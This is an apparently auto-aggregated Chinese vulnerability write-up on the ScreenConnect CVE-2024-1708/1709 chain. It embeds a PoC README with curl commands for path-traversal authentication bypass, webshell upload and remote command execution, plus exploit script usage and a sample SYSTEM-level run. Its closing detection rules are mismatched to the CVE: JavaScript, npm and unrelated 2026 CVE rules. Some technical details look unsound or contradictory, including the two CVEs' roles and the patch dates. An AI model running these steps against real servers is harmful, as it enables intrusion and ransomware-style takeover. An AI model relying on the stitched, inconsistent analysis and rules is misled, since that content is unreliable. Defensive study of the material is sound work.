🎯 CVE-2024-1708 深度技术分析：漏洞根因 · PoC/EXP · 检测指纹
🎯 CVE 全聚合深度分析
CVE-2024-1708 深度技术分析
📊 聚合 3 来源🧪 含 PoC🕵️ 含指纹
NVD-LatestPoC-in-GitHub
摘要：CVE-2024-1708 是 ConnectWise ScreenConnect（原名 ScreenConnect）23.9.7 及更早版本中存在的一处路径遍历（Path Traversal）漏洞，攻击者可借其绕过身份验证，进而结合 CVE-2024-1709 实现未授权远程代码执行。该漏洞 CVSS 评分为 8.4，属于高危漏洞，自 2024 年 2 月起已被 LockBit、Black Basta、Bl00dy 等多个勒索软件团伙利用。本文将从漏洞原理、实际危害及修复缓解三个维度进行深度技术分析。
📌 漏洞概述
CVE-2024-1708 是 ConnectWise ScreenConnect 的 SetupWizard.aspx 及相关 setup/upgrade 端点中存在的路径遍历漏洞。该漏洞影响 23.9.7 及之前的所有版本。由于服务端未能正确过滤用户传入的 ../ 路径序列，未认证攻击者可以遍历出预期的 setup 目录，从而访问本应要求认证的受保护端点。CWE 分类将其归为 CWE-22（路径遍历）与 CWE-288（使用替代路径绕过认证）。在 CVSSv3 评分体系中，CVE-2024-1708 的基础得分为 8.4，而与之配合使用的 CVE-2024-1709（不受限制的文件上传）评分高达 10.0，两者组合可实现从零信任到完全控制服务器的“一键式”攻击。
🔬 漏洞根因分析
ConnectWise ScreenConnect 在首次安装或升级过程中，会通过 SetupWizard.aspx 等页面引导管理员完成配置。此类页面的设计初衷是在产品尚未完全初始化时允许访问，因此往往被排除在常规身份验证之外。问题在于，这些初始化端点对用户输入的 URL 路径参数缺乏严格的规范化处理。
具体而言，当攻击者构造形如 /SetupWizard.aspx/../../.../ProtectedPage.aspx 的请求时，IIS 或内置 Web 服务器在解析路径时，会先将 ../ 序列进行拼接，再映射到实际物理路径。由于 ScreenConnect 某些内部路由逻辑直接使用原始字符串定位处理器，而并未调用 Path.GetFullPath() 或其他安全规范化函数，攻击者便可通过路径穿越跳出预期的 setup 上下文。更关键的是，该请求经过认证中间件时，中间件因看到 URL 前缀仍属于“免认证”的 setup 区域而放行请求，但后续路由却将请求转发到了需要认证的处理器上。这种“认证判断与资源调度不一致”的缺陷，正是 CWE-288 所描述的典型问题。
一旦认证被绕过，攻击者便拥有了与安装向导相同的执行上下文——在 Windows 上为 SYSTEM 权限，在 Linux 上为 root 权限。此时，攻击者可调用内部管理 API 或直接触发文件上传功能（对应 CVE-2024-1709）。利用路径遍历进入管理功能后，攻击者可以上传一个精心构造的 .aspx 文件到 Web 根目录，随后通过 HTTP 请求访问该文件，Web 服务器便会以进程身份执行其中的恶意代码。由于 ScreenConnect 服务通常以高权限运行，攻击者获得的即服务账户的完整权限，进而可以读取本地机密数据、安装持久后门、窃取其他租户的会话令牌，甚至横向移动至内网其他主机。
从根因上看，该漏洞并非单纯的路径校验缺失，而是产品在“引导状态”与“正常运行状态”之间切换时，访问控制模型未能正确同步。开发团队在实现 Setup 页面时，默认信任了所有访问者，而后续版本在新增受保护端点时，又未考虑到这一历史假设，最终导致攻击者可以利用路径穿越将不同访问控制域串联起来，形成一条完整的攻击链。
💥 影响与危害
利用 CVE-2024-1708 与 CVE-2024-1709 的联动攻击，未认证攻击者可以在无需任何凭据的情况下完全接管 ScreenConnect 服务器。具体危害包括：
- 远程代码执行（RCE）：攻击者上传恶意脚本并以高权限执行，立即获得服务器操作系统级控制权。
- 敏感数据泄露：ScreenConnect 中存储了所有被管理端点的连接凭据、访问令牌、屏幕会话记录等敏感信息，攻击者可批量导出，用于后续渗透或数据勒索。
- 供应链级影响：ScreenConnect 常被 MSP（托管服务提供商）用于远程管理大量客户终端，一旦服务器被攻破，攻击者可借助其管理通道向所有下游客户端分发勒索软件或后门，形成“一次攻破，全面沦陷”的扩大化攻击。
- 勒索软件运营基础：根据观察，LockBit、Black Basta、Bl00dy 等勒索软件组织在 2024 年 2 月 19 日前后开始大规模扫描互联网上暴露的 ScreenConnect 实例，并利用该漏洞部署勒索载荷。攻击者不仅加密服务器自身文件，还会利用 ScreenConnect 客户端的远程控制能力加密所有关联终端。
- 持久化与控制权稳定：攻击者可以在服务器上创建隐藏管理员账户、修改 ScreenConnect 配置或安装内核级驱动，以维持长期持久化，即使管理员修补了漏洞也可能无法清除攻击痕迹。
值得注意的是，CISA KEV 目前尚未收录该 CVE，但这并不代表风险降低。相反，由于公开的技术细节已经传播，且勒索软件团伙已将其纳入武器库，所有暴露于公网的 ScreenConnect 服务器都面临极高的被攻破风险。
🛡️ 修复与缓解
ConnectWise 官方已于 2024 年 2 月 19 日发布修复版本 23.9.8，强烈建议所有用户立即升级至该版本或更新版本。升级操作本身不会丢失现有配置，但最好在维护窗口内进行，并同步检查服务器中是否已存在可疑文件或账户。
对于无法立即升级的环境，可采取以下临时缓解措施：
- 限制 SetupWizard 访问：在防火墙或反向代理层屏蔽对
/SetupWizard.aspx以及SetupWizard.aspx/*路径的外部访问，仅允许本机或管理网段访问。 - 网络层隔离：不要将 ScreenConnect 管理端口直接暴露在公网，建议通过 VPN 或跳板机访问。若不需外部连接，完全禁止入站 8040/443 等相关端口。
- 启用详细日志与监控：重点审计 Web 访问日志中是否存在大量包含
../的请求、对.aspx文件的上传行为、以及异常创建的可执行文件。可部署 WAF 规则拦截路径遍历特征。 - 最小化服务权限：将 ScreenConnect 服务账户从 SYSTEM/root 降级为普通用户，并限制其文件系统写入范围，以降低漏洞被利用后的影响面。
- 检查入侵痕迹：升级后应仔细检查服务器中是否存在非预期账户、Web 目录下是否出现可疑
.aspx文件、以及事件日志中是否有异常进程启动记录。
鉴于漏洞已被广泛武器化，单纯的缓解措施只能在短期内降低风险，彻底修复的唯一可靠途径是及时升级到官方补丁版本，并对历史环境进行全面的入侵检测与应急响应。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。
📋 代码元数据语言md来源razureink/cve-2024-1708-connectwise_rce_reproduction针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明
# CVE-2024-1708 / CVE-2024-1709 — ConnectWise ScreenConnect Authentication Bypass &Remote Code Execution
**CVSS Score:** 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
**CWE:** CWE-22 (Path Traversal),CWE-288 (Authentication Bypass Using an Alternate Path)
**Affected Software:** ConnectWise ScreenConnect (formerly ScreenConnect) ≤ 23.9.7
**Discovered &
Reported:** February 2024
**Exploited In-The-Wild:** LockBit,Black Basta,Bl00dy,
and other ransomware affiliates
---
## Table of Contents
1. [Overview](#overview)
2. [Technical Details](#technical-details)
3. [Affected Versions](#affected-versions)
4. [Reproduction Steps](#reproduction-steps)
5. [Proof-of-Concept Usage](#proof-of-concept-usage)
6. [Mitigation](#mitigation)
7. [References](#references)
---
## 1. Overview
CVE-2024-1708 and CVE-2024-1709 are a chained pair of vulnerabilities in ConnectWise ScreenConnect (formerly ConnectWise Control) that together allow an **unauthenticated remote attacker** to achieve **full remote code execution** on the ScreenConnect server.
- **CVE-2024-1708** — Authentication Bypass via Path Traversal. The `SetupWizard.aspx` endpoint (and related setup/upgrade endpoints) does not properly sanitize user-supplied path traversal sequences (`../`). An unauthenticated attacker can traverse outside the intended setup directory and reach endpoints that should require authentication. Because the wizard runs in the context of the **SYSTEM** (Windows) or **root** (Linux) account,
the attacker inherits elevated privileges.
- **CVE-2024-1709** — Unrestricted File Upload leading to RCE. Once authentication is bypassed,an attacker can upload an arbitrary `.aspx` or other executable file to the web root. By then requesting the uploaded file,arbitrary code executes on the server.
### Impact
These vulnerabilities were **mass-exploited beginning February 19,
2024** by multiple ransomware groups:
|Ransomware Group |Campaign Notes ||---|---||**LockBit** |Broad scanning of ScreenConnect instances;used to deploy LockBit encryptor downstream. ||**Black Basta** |Leveraged access to MSPs to pivot into managed client networks. ||**Bl00dy** |Smaller-scale campaigns targeting unpatched ScreenConnect servers. |
Because ScreenConnect is commonly deployed by **Managed Service Providers (MSPs)** to remotely manage hundreds of downstream client endpoints,
a single compromised ScreenConnect server enables a **supply-chain attack** — every client with an agent connected to that ScreenConnect server is at risk.
---
## 2. Technical Details
### 2.1 Authentication Bypass (CVE-2024-1708)
The ScreenConnect server exposes a setup wizard at:
```
/SetupWizard.aspx/
```
Under certain upgrade/repair states,
the server does not enforce authentication because it assumes the setup wizard is the first-run experience. The critical flaw is in how the server processes the `__Session` cookie or the `Transfer-Encoding` / `Content-Type` headers when accessing paths under the wizard namespace.
By sending a request to:
```
/SetupWizard.aspx/../../ScreenConnect/Login.aspx
```
the path traversal cancels the "setup wizard" context,
while the server still believes the unauthenticated session context applies. The attacker is redirected or served pages as though authenticated.
Alternative vector: The `PrepareUpgrade.aspx` / `PostUpgrade.aspx` handlers similarly lack authentication checks and expose file upload functionality.
### 2.2 Remote Code Execution (CVE-2024-1709)
Once the attacker reaches an authenticated endpoint (or directly hits the file upload handler in the setup context),
they can upload a malicious `.aspx` webshell:
```
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data;boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data;name="file";
filename="shell.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %>...
------BOUNDARY--
```
The file is written to the web application directory (e.g.,
`C:\Program Files\ScreenConnect\Website\`). Requesting the uploaded shell executes it under the server's identity.
### 2.3 Root Cause (CWE-22 / CWE-288)
- The server fails to **canonicalize** the request path before routing.
- The `SetupWizard.aspx` handler trusts that any request under its route is part of the setup process and should bypass authentication — but the path traversal breaks that assumption.
- No proper validation of `../` sequences or symlink traversal.
---
## 3. Affected Versions
|
Version Range |Status ||---|---||**23.9.7 and below** |Vulnerable ||23.9.8 |Patched (released Feb 20,2024) ||23.9.9 |Patched ||23.9.10 (latest) |Patched |
**Note:** Self-hosted (on-premise) ScreenConnect servers are the primary targets. The ConnectWise-hosted (cloud) ScreenConnect instances were patched before public disclosure and were never vulnerable.
---
## 4. Reproduction Steps
### 4.1 Lab Setup
1. **Download a vulnerable ScreenConnect version** (23.9.7 or earlier).
*Official installers may be available via ConnectWise partner archives. For testing,
use an isolated VM.*
2. **Install on a Windows Server (2019/2022)** or a Linux host.
- Default install paths:
- Windows: `C:\Program Files\ScreenConnect\`
- Linux: `/opt/screenconnect/`
- Default web port: **8040** (HTTP) or **443** (HTTPS if configured)
3. **Ensure the server is network-isolated** — do not expose to the internet during testing.
### 4.2 Verify Vulnerability
```powershell
# Check the version
curl -s http://<target>:8040/ |
Select-String "ScreenConnect"
```
Or access the web interface and note the version number in the page source.
### 4.3 Path Traversal Test
```bash
curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"
```
Expected behavior on a vulnerable server:
- The response returns a **200 OK** or **302 redirect** to a session-authenticated page without the normal login prompt.
- The response may contain the ScreenConnect admin console HTML.
### 4.4 Webshell Upload
```bash
curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
-H "Content-Type: multipart/form-data;
boundary=----BOUNDARY" \
-F "file=@shell.aspx"
```
### 4.5 Execute Commands
```bash
curl "http://<target>:8040/shell.aspx?cmd=whoami"
```
---
## 5. Proof-of-Concept Usage
The accompanying `exploit.py` script automates the above steps:
```
usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]
Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE
options:
-h,
--help show this help message and exit
-t TARGET,--target TARGET
Target hostname or IP
-p PORT,--port PORT Target port (default: 8040)
-c COMMAND,
--command COMMAND
Command to execute (default: whoami)
--ssl Use HTTPS
Example:
python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"
```
### Sample Run
```
$ python exploit.py -t 192.168.1.100 -c "whoami"
[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system
```
---
## 6. Mitigation
### Immediate (Patch)
- **Upgrade** ScreenConnect to version **23.9.8** or later.
- ConnectWise released patches on **February 20,
2024**.
### Compensating Controls
|Control |Implementation ||---|---||**WAF Rules** |Block requests containing `../` in the URL path after `/SetupWizard.aspx/` ||**Network Segmentation** |Place ScreenConnect in a segregated management VLAN with strict egress filtering ||**Access Control** |Restrict access to the ScreenConnect web interface to trusted IP ranges only ||**Monitoring** |
Alert on requests to `/SetupWizard.aspx/` from external sources,or on unexpected `.aspx` file creation in `ScreenConnect\Website\` ||**MFA** |While MFA would not stop this (auth bypass is pre-login),enforce it on all administrative accounts for defense-in-depth |
### Detection
Search for the following IoCs in web server logs:
```
GET /SetupWizard.aspx/../../ScreenConnect/
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
GET /*.aspx?cmd=
```
---
## 7. References
|Source |URL ||---|---||NVD - CVE-2024-1708 |https://nvd.nist.gov/vuln/detail/CVE-2024-1708 ||NVD - CVE-2024-1709 |https://nvd.nist.gov/vuln/detail/CVE-2024-1709 ||
ConnectWise Security Advisory |https://www.connectwise.com/company/trust/security-advisories ||Huntress Labs - Initial Disclosure |https://www.huntress.com/blog/mass-exploitation-of-connectwise-screenconnect ||CISA Known Exploited Vulnerabilities |https://www.cisa.gov/known-exploited-vulnerabilities ||ATT&CK Technique: External Remote Services (T1133) |
https://attack.mitre.org/techniques/T1133/ |---
## Disclaimer
This repository is provided **for educational and authorized security research purposes only**. Unauthorized testing against systems you do not own or have explicit written permission to test is illegal. The authors are not responsible for misuse of this information.⚔️ EXP 利用代码
截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。
🕵️ 检测指纹
针对该 CVE 的自动化检测规则（可直接用于扫描与审计）。
🛡️ Semgrep 审计规则: CVE-2024-1708.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2024-1708.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2024-1708.yaml
rules:
- id: CVE-2024-1708-path_traversal-javascript
languages: [javascript,typescript]
severity: ERROR
message: Potential path traversal vulnerability detected - attacker-controlled input used in file path operations
patterns:
- pattern: $VAR = require("path").join($ROOTDIR,$INPUT)
- pattern-not: $VAR = require("path").join($ROOTDIR,
"...")
fix: "const safePath = path.join(rootDir,
sanitizeFilename(userInput)) // Validate and sanitize path"
metadata:
cwe: CWE-22
owasp: "A1: Injection"
technology: node
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-1708
- id: CVE-2026-32202-command_injection-python
languages: [python]
severity: ERROR
message: Potential command injection via subprocess or os.system with untrusted input
patterns:
- pattern: os.system($CMD)
- pattern-not: os.system("...")
fix: "import subprocess;
subprocess.run(cmd_list,shell=False) # Use subprocess with list args"
metadata:
cwe: CWE-78
owasp: "A1: Injection"
technology: python
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-32202
- id: CVE-2026-31431-supply_chain-javascript
languages: [javascript,
typescript]
severity: ERROR
message: Potential supply chain risk - installation hooks or postinstall scripts in package.json
patterns:
- pattern: '{"scripts": {"preinstall": ...}}'
- pattern-not: '{"scripts": {}}'
fix: "Remove preinstall hooks and validate dependencies before installation"
metadata:
cwe: CWE-494
owasp: "A8: Software Integrity"
technology: npm
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-31431🛡️ CodeQL 审计规则: CVE-2024-1708.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2024-1708.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id javascript/supply-chain/cve-2024-1708
* @name Malicious preinstall hook in npm packages
* @description User-controlled input flows to exec or spawn in npm package preinstall scripts,
leading to supply chain compromise
* @problem.severity error
* @tags security
* external/cwe/cwe-78
* external/cwe/cwe-506
*/
import javascript
import semmle.javascript.security.dataflow.ExecCommandQuery
import ExecCommand::PathGraph
class PreinstallScriptSource extends DataFlow::Node {PreinstallScriptSource() {exists(string s |
this.(StringLiteral).getValue().matches("%preinstall") or
this.(StringLiteral).getValue().matches("preinstall")
)
}}class PackageJsonParse extends DataFlow::Node {PackageJsonParse() {exists(JsonFile jf,string key |jf.readsFile(this.asExpr()) and
key = "scripts" and
this.asExpr().(DataFlow::SourceNode).getAPropertySource(key) instanceof DataFlow::SourceNode
)
}}
class PreinstallExecSink extends DataFlow::Node {PreinstallExecSink() {exists(CallExpr ce |ce.getCalleeName() = "exec" or
ce.getCalleeName() = "spawn" or
ce.getCalleeName() = "execSync" or
ce.getCalleeName() = "spawnSync"
|this.asExpr() = ce.getArgument(0)
)
}}class MaliciousPreinstallConfig extends TaintTracking::Configuration {MaliciousPreinstallConfig() {
this = "MaliciousPreinstallConfig" }override predicate isSource(DataFlow::Node source) {source.(DataFlow::ModuleNode).getAPropertySource("scripts").(DataFlow::SourceNode).getAPropertySource("preinstall") instanceof DataFlow::SourceNode
}override predicate isSink(DataFlow::Node sink) {sink instanceof PreinstallExecSink
}override predicate isAdditionalTaintStep(DataFlow::Node node1,
DataFlow::Node node2) {exists(DataFlow::MethodCallNode mcn |mcn.getMethodName() = "toString" or
mcn.getMethodName() = "concat"
|node1 = mcn.getReceiver() and
node2 = mcn
)
}}from MaliciousPreinstallConfig cfg,TaintTracking::PathNode source,TaintTracking::PathNode sink
where cfg.hasFlowPath(source,sink)
select sink.getNode(),source,sink,
"Malicious preinstall script executes external command from $@",source.getNode(),"package.json scripts.preinstall"🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-12 05:06 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库